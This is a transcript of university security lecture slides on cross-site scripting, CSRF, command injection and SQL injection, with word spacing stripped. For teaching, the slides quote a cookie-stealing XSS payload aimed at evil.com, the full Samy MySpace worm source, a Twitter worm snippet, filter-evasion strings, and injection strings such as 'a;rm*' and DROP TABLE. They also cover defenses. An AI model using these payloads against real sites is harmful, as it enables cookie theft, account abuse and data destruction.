cse 484 / cse m 584: computer security and privacy xss …xss attacks fall 2016 ada (adam) lerner...
TRANSCRIPT
CSE484/CSEM584:ComputerSecurityandPrivacy
XSSattacks
Fall2016
Ada(Adam)[email protected]
ThankstoFranziRoesner,DanBoneh,DieterGollmann,DanHalperin,YoshiKohno,JohnManferdelli,JohnMitchell,VitalyShmatikov,BennetYee,andmanyothersforsampleslidesandmaterials...
Administrative
• Lab2isout–pleaseformgroupsof1-3andgettowork,it’sdueNov21!
• Detailswillbecominginthenextcoupledaysonthefinalproject!
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OWASPTop10WebVulnerabilities
1. Injection2. BrokenAuthentication&SessionManagement3. Cross-SiteScripting4. InsecureDirectObjectReferences5. SecurityMisconfiguration6. SensitiveDataExposure7. MissingFunctionLevelAccessControl8. Cross-SiteRequestForgery9. UsingKnownVulnerableComponents10. UnvalidatedRedirectsandForwards
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http://www.owasp.org
CSRF
• “ConfusedDeputy”–thebrowseractswithAlice’sprivileges(cookies)evenwhendirectedtomakerequestsbyanattacker
• Defenses:– Formsynchronizationtokens– Refererheaderchecking
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Cross-SiteScripting(XSS)
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XSS
• Ihaveafriendwithareallyhardtopronouncename.
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Hernameis“<img src=‘http://upload.wikimedia.org/wikipedia/en/thumb/3/39/YoshiMarioParty9.png/210px-YoshiMarioParty9.png’>”!
XSS
• XSSisabouttheproblemsthatarisewhenyouhaveanamethatjusthappenstobeaHTMLtag
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PHP:HypertextProcessor
• ServerscriptinglanguagewithC-likesyntax
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PHP:HypertextProcessor
• CaninterminglestaticHTMLandcode <input value=<?php echo $myvalue; ?>>
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PHP:HypertextProcessor
• CaninterminglestaticHTMLandcode <input value=<?php echo $myvalue; ?>>• Canembedvariablesindouble-quotestrings$user = “world”; echo “Hello $user!”;or $user = “world”; echo “Hello” . $user . “!”;
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PHP:HypertextProcessor
• CaninterminglestaticHTMLandcode <input value=<?php echo $myvalue; ?>>• Canembedvariablesindouble-quotestrings$user = “world”; echo “Hello $user!”;or $user = “world”; echo “Hello” . $user . “!”;
• Formdatainglobalarrays$_GET,$_POST,…
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Echoing/“Reflecting”UserInputClassicmistakeinserver-sideapplicationshttp://naive.com/search.php?term=“JustinBieber”search.phprespondswith<html> <title>Search results</title><body>You have searched for <?php echo $_GET[term] ?>… </body>OrGET/hello.cgi?name=Bobhello.cgirespondswith<html>Welcome, dear Bob</html>
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Echoing/“Reflecting”UserInput
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naive.com/hello.cgi?name=Bob!
Welcome,dearBob
naive.com/hello.cgi?name=<img src=‘http://upload.wikimedia.org/wikipedia/en/thumb/3/39/YoshiMarioParty9.png/210px-YoshiMarioParty9.png’>!
Welcome,dear
Cross-SiteScripting(XSS)
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victim’sbrowser
naive.comevil.com
Accesssomewebpage
<iframesrc=http://naive.com/hello.cgi?name=<script>win.open(“http://evil.com/steal.cgi?cookie=”+document.cookie)</script>>
Forcesvictim’sbrowsertocallhello.cgionnaive.comwiththisscriptas“name”
GET/hello.cgi?name=<script>win.open(“http://evil.com/steal.cgi?cookie=”+document.cookie)</script> hello.cgi
executed
<HTML>Hello,dear<script>win.open(“http://evil.com/steal.cgi?cookie=”+document.cookie)</script>Welcome!</HTML>
InterpretedasJavaScriptbyvictim’sbrowser;openswindowandcallssteal.cgionevil.com
GET/steal.cgi?cookie=
hello.cgi
XSS–QuickDemo<?phpsetcookie("SECRET_COOKIE", "12345");header("X-XSS-Protection: 0");?><html><body><br><br><form action="vulnerable.php" method="get">Name: <input type="text" name="name" size="80"><input type="submit" value="submit”></form><br><br><br><div id="greeting"><?php$name = $_GET["name"]; if($name) { echo "Welcome " . $_GET['name'];}?></div></body></html>
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NeedtoexplicitlydisableXSSprotection–newerbrowserstrytohelpwebdevelopersavoidthesevulnerabilities!
ReflectedXSS
• Useristrickedintovisitinganhonestwebsite– Phishingemail,linkinabannerad,commentinablog
• Buginwebsitecodecausesittoechototheuser’sbrowseranarbitraryattackscript– Theoriginofthisscriptisnowthewebsiteitself!
• Scriptcanmanipulatewebsitecontents(DOM)toshowbogusinformation,requestsensitivedata,controlformfieldsonthispageandlinkedpages,causeuser’sbrowsertoattackotherwebsites– Thisviolatesthe“spirit”ofthesameoriginpolicy
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BasicPatternforReflectedXSS
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Attackserver
ServervictimUservictim
visitwebsite
receivemalicious
page
clickonevillinkecho“user”input
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sendvaluabled
ata
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4
WhereMaliciousScriptsLurk
• User-createdcontent– Socialsites,blogs,forums,wikis
• Whenvisitorloadsthepage,websitedisplaysthecontentandvisitor’sbrowserexecutesthescript– Manysitestrytofilteroutscriptsfromusercontent,butthisisdifficult!
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StoredXSS
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Attackserver
Servervictim
Uservictim
Injectmaliciousscriptrequestcontent
receivemaliciousscript
1
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stealvaluabled
ata
4
Storebadstuff
Usersviewordownloadcontent
TwitterWorm(2009)
• CansaveURL-encodeddataintoTwitterprofile• Datanotescapedwhenprofileisdisplayed• Result:StalkDailyXSSexploit– Ifviewaninfectedprofile,scriptinfectsyourownprofile
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! "); var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');
var ajaxConn = new XHConn(); ajaxConn.connect(“/status/update", "POST", "authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update"); ajaxConn1.connect(“/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update”)
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http://dcortesi.com/2009/04/11/twitter-stalkdaily-worm-postmortem/
Q3
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naive.com/hello.cgi?name=Bob!
Welcome,dearBob
naive.com/hello.cgi?name=<img src=‘http://upload.wikimedia.org/wikipedia/en/thumb/3/39/YoshiMarioParty9.png/210px-YoshiMarioParty9.png’>!
Welcome,dear
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Defenses:Cross-SiteScripting(XSS)
• Anyuserinputandclient-sidedatamustbepreprocessedbeforeitisusedinsideHTML
• Remove/encodeHTMLspecialcharacters– Useagoodescapinglibrary
• OWASPESAPI(EnterpriseSecurityAPI)• Microsoft’sAntiXSS
– InPHP,htmlspecialchars(string)willreplaceallspecialcharacterswiththeirHTMLcodes• ‘becomes'“becomes"&becomes&
– InASP.NET,Server.HtmlEncode(string)
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Withappropriatedefenses
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naive.com/hello.cgi?name=Bob!
Welcome,dearBob
naive.com/hello.cgi?name=<img src=‘http://upload.wikimedia.org/wikipedia/en/thumb/3/39/YoshiMarioParty9.png/210px-YoshiMarioParty9.png’>!
Welcome,dear<img src=‘!
http://upload.wikimedia.org/!wikipedia/en/thumb/!3/39/YoshiMarioParty9 !.png/210px-YoshiMario !Party9.png’>!
Withfiltersinplace
• <html>Welcome, dear Bob</html>
• <imgsrc=‘http://upload.wikimedia.org/wikipedia/en/thumb/3/39/YoshiMarioParty9.png/210px-YoshiMarioParty9.png’>
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EvadingXSSFilters
• PreventinginjectionofscriptsintoHTMLishard!– Blocking“<”and“>”isnotenough– Eventhandlers,stylesheets,encodedinputs(%3C),etc.
– phpBBallowedsimpleHTMLtagslike<b>
<bc=“>” onmouseover=“script”x=“<b”>Hello<b>
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EvadingXSSFilters
• Filterevasiontricks(XSSCheatSheet)– Iffilterallowsquoting(of<script>,etc.),bewareofmalformedquoting:<IMG"""><SCRIPT>alert("XSS")</SCRIPT>">
– LongUTF-8encoding– Scriptsarenotonlyin<script>:<iframesrc=‘https://bank.com/login’onload=‘steal()’>
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MySpaceWorm(1)
• UserscanpostHTMLontheirMySpacepages• MySpacedoesnotallowscriptsinusers’HTML– No<script>,<body>,onclick,<ahref=javascript://>
• …butdoesallow<div>tagsforCSS.– <divstyle=“background:url(‘javascript:alert(1)’)”>
• ButMySpacewillstripout“javascript”– Use“java<NEWLINE>script”instead
• ButMySpacewillstripoutquotes– Convertfromdecimalinstead:alert('doublequote:'+String.fromCharCode(34))
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http://namb.la/popular/tech.html
MySpaceWorm(2)Resultingcode:
<div id=mycode style="BACKGROUND: url('java �script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
http://namb.la/popular/tech.html
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MySpaceWorm(3)• “Therewereafewothercomplicationsandthingstogetaround.Thiswasnotbyanymeansastraightforwardprocess,andnoneofthiswasmeanttocauseanydamageorpissanyoneoff.Thiswasintheinterestof..interest.Itwasinterestingandfun!”
• Startedon“samy”MySpacepage• Everybodywhovisitsaninfectedpage,becomes
infectedandadds“samy”asafriendandhero• 5hourslater“samy”has1,005,831friends
– Wasadding1,000friendspersecondatitspeak
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http://namb.la/popular/tech.html
CommandInjectionandSQLInjection
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Recall:PHP
• ServerscriptinglanguagewithC-likesyntax• CaninterminglestaticHTMLandcode<inputvalue=<?phpecho$myvalue;?>>• Canembedvariablesindouble-quotestrings$user=“world”;echo“Hello$user!”;or$user=“world”;echo“Hello”.$user.“!”;
• Formdatainglobalarrays$_GET,$_POST,…
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CommandInjectioninPHP
http://victim.com/copy.php?name=usernamecopy.phpincludessystem(“cptemp.dat$name.dat”)
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CommandInjectioninPHP
http://victim.com/copy.php?name=usernamecopy.phpincludessystem(“cptemp.dat$name.dat”)Attackerusesname“a;rm*”http://victim.com/copy.php?name=“a;rm*”
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copy.phpexecutessystem(“cptemp.data;rm*.dat”);
SQL
• Widelyuseddatabasequerylanguage• Fetchasetofrecords
SELECT*FROMPersonWHEREUsername=‘lerner’
• AdddatatothetableINSERTINTOKey(Username,Key)VALUES(‘lerner’,3611BBFF)
• ModifydataUPDATEKeysSETKey=FA33452DWHEREPersonID=5
• Querysyntax(mostly)independentofvendor
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NaïveQueryGenerationCode
$selecteduser=$_GET['user'];$sql="SELECTUsername,KeyFROMKey"."WHEREUsername='$selecteduser'";$rs=$db->executeQuery($sql);
Whatif‘user’isamaliciousstringthatchangesthemeaningofthequery?
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TypicalLoginPrompt
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UserInputBecomesPartofQuery
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EnterUsername
&Password Web
server
Webbrowser(Client)
DB
SELECTpasswdFROMUSERSWHEREuname
IS‘$user’
NormalLogin
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EnterUsername
&Password Web
server
Webbrowser(Client)
DB
SELECTpasswdFROMUSERSWHEREuname
IS‘franzi’
MaliciousUserInput
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SQLInjectionAttack
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EnterUsername
&Password Web
server
Webbrowser(Client)
DB
SELECTpasswdFROMUSERSWHEREuname
IS‘’;DROPTABLEUSERS;--’
Eliminatesalluseraccounts
ExploitsofaMom
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http://xkcd.com/327/
SQLInjection:BasicIdea
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Victimserver
VictimSQLDB
Attacker postmaliciousform
unintendedquery
receivedatafromDB
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• Thisisaninputvalidationvulnerability• UnsanitizeduserinputinSQLquerytoback-end
databasechangesthemeaningofquery• Specialcaseofcommandinjection
AuthenticationwithBackendDBsetUserFound=execute(“SELECT*FROMUserTableWHEREusername=‘ ”&form(“user”)&“′ANDpassword=‘ ”&form(“pwd”)&“′”);
Usersuppliesusernameandpassword,thisSQLquerychecksifuser/passwordcombinationisinthedatabase
IfnotUserFound.EOFAuthenticationcorrectelseFail
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OnlytrueiftheresultofSQLqueryisnotempty,i.e.,user/pwdisinthedatabase
UsingSQLInjectiontoLogIn
• Usergivesusername’OR1=1--• WebserverexecutesquerysetUserFound=execute(SELECT*FROMUserTableWHEREusername=‘’OR1=1--…);
• Nowallrecordsmatchthequery,sotheresultisnotempty⇒correct“authentication”!
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Alwaystrue! Everythingafter--isignored!
PreventingSQLInjection
• Validateallinputs– Filteroutanycharacterthathasspecialmeaning
• Apostrophes,semicolons,percent,hyphens,underscores,…• Useescapecharacterstopreventspecialcharactersformbecomingpartofthequerycode– E.g.:escape(O’Connor)=O\’Connor
– Checkthedatatype(e.g.,inputmustbeaninteger)
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PreparedStatementsPreparedStatementps=db.prepareStatement("SELECTpizza,toppings,quantity,order_day"+"FROMordersWHEREuserid=?ANDorder_month=?");ps.setInt(1,session.getCurrentUserId());ps.setInt(2,Integer.parseInt(request.getParamenter("month")));ResultSetres=ps.executeQuery();• Bindvariables:placeholdersguaranteedtobedata(notcode)• Queryisparsedwithoutdataparameters• Bindvariablesaretyped(int,string,…)
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Bindvariable(dataplaceholder)
http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html
TopWebVulnerabilities:Summary
• XSRF(CSRF)–cross-siterequestforgery– Badwebsiteforcestheuser’sbrowsertosendarequesttoagoodwebsite
• XSS(CSS)–cross-sitescripting– Maliciouscodeinjectedintoatrustedcontext(e.g.,maliciousdatapresentedbyanhonestwebsiteinterpretedascodebytheuser’sbrowser)
• SQLinjection– Maliciousdatasenttoawebsiteisinterpretedascodeinaquerytothewebsite’sback-enddatabase
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